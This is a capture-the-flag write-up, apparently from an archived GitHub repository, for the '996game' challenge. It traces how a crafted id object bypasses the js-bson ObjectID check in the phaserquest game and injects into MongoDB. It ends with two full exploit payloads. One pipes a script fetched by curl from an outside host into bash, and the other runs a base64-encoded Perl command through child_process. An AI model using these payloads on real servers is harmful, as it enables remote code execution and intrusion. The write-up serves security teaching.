Skip to content
This repository has been archived by the owner on Sep 22, 2020. It is now read-only.

Latest commit

 

History

History
executable file
·
115 lines (84 loc) · 3.49 KB

writeups.md

File metadata and controls

executable file
·
115 lines (84 loc) · 3.49 KB

996game

OrZ

This challenge is temporarily made in the afternoon before the CTF game(From findding bugs to challenges). So there are some rushes in this challenge , please bear with me.

writeup

First we can find hint from HTML source code.

It's an open-source HTML5 game.

https://github.com/Jerenaux/phaserquest

We can see there is a static file leak vulnerability

https://github.com/Jerenaux/phaserquest/blob/master/server.js#L44

app.use('/css',express.static(__dirname + '/css'));
app.use('/js',express.static(__dirname + '/js'));
app.use('/assets',express.static(__dirname + '/assets'));

Now, we need to find a way to get mongodb error.

Only one thing we can control is id, so we can track the ObjectId() function.

https://github.com/mongodb/js-bson/blob/V1.0.4/lib/bson/objectid.js#L28

...

var valid = ObjectID.isValid(id);

...

ObjectID.isValid = function isValid(id) {
  if(id == null) return false;

  if(typeof id == 'number') {
    return true;
  }

  if(typeof id == 'string') {
    return id.length == 12 || (id.length == 24 && checkForHexRegExp.test(id));
  }

  if(id instanceof ObjectID) {
    return true;
  }

  if(id instanceof _Buffer) {
    return true;
  }

  // Duck-Typing detection of ObjectId like objects
  if(id.toHexString) {
    return id.id.length == 12 || (id.id.length == 24 && checkForHexRegExp.test(id.id));
  }

  return false;
};

Now we can use id = {"id":{"length":12}} bypass it.

...

  if(!valid && id != null){
    throw new Error("Argument passed in must be a single String of 12 bytes or a string of 24 hex characters");
  } else if(valid && typeof id == 'string' && id.length == 24 && hasBufferType) {
    return new ObjectID(new Buffer(id, 'hex'));
  } else if(valid && typeof id == 'string' && id.length == 24) {
    return ObjectID.createFromHexString(id);
  } else if(id != null && id.length === 12) {
    // assume 12 byte string
    this.id = id;
  } else if(id != null && id.toHexString) {
    // Duck-typing to support ObjectId from different npm packages
    return id;
  } else {
    throw new Error("Argument passed in must be a single String of 12 bytes or a string of 24 hex characters");
  }
...

Now , we change our payload to id = {"length":0,"toHexString":true,"id":{"length":12}},

And then the whole payload will be sent to mongodb server.

MongoDB shell version: 2.6.10
connecting to: test
> db.a.find({"b":{"$gt":1,"c":"d"}})
error: {
	"$err" : "Can't canonicalize query: BadValue unknown operator: c",
	"code" : 17287
}

So the whole exploit is

Client.socket.emit('init-world',{new:false,id:{"$in":[1],"require('child_process').exec('/usr/bin/curl host/shell2|bash')":"bbb","length":0,"toHexString":true,"id":{"length":12}},clientTime:"sacsaccsacsac"});

Or:

Client.getPlayerID =  () => ({ "$gt":1,[`process.chdir('/');socket.emit('aaa');socket.emit(require('child_process').execSync('sh -c \"echo \\\'dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7CgpteSAkcGlkID0gb3BlbjMoXCpDSExEX0lOLCBcKkNITERfT1VULCBcKkNITERfRVJSLCAnL3JlYWRmbGFnJykgb3IgZGllICJvcGVuMygpIGZhaWxlZCAkISI7CgpteSAkcjsKCiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokcj1ldmFsICIkciI7CnByaW50ICIkclxuIjsKcHJpbnQgQ0hMRF9JTiAiJHJcbiI7CiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOw==\\\'|base64 -d | perl \"'));`]:"bb", toHexString: 'aaa', length: 0, id: {length: 12}})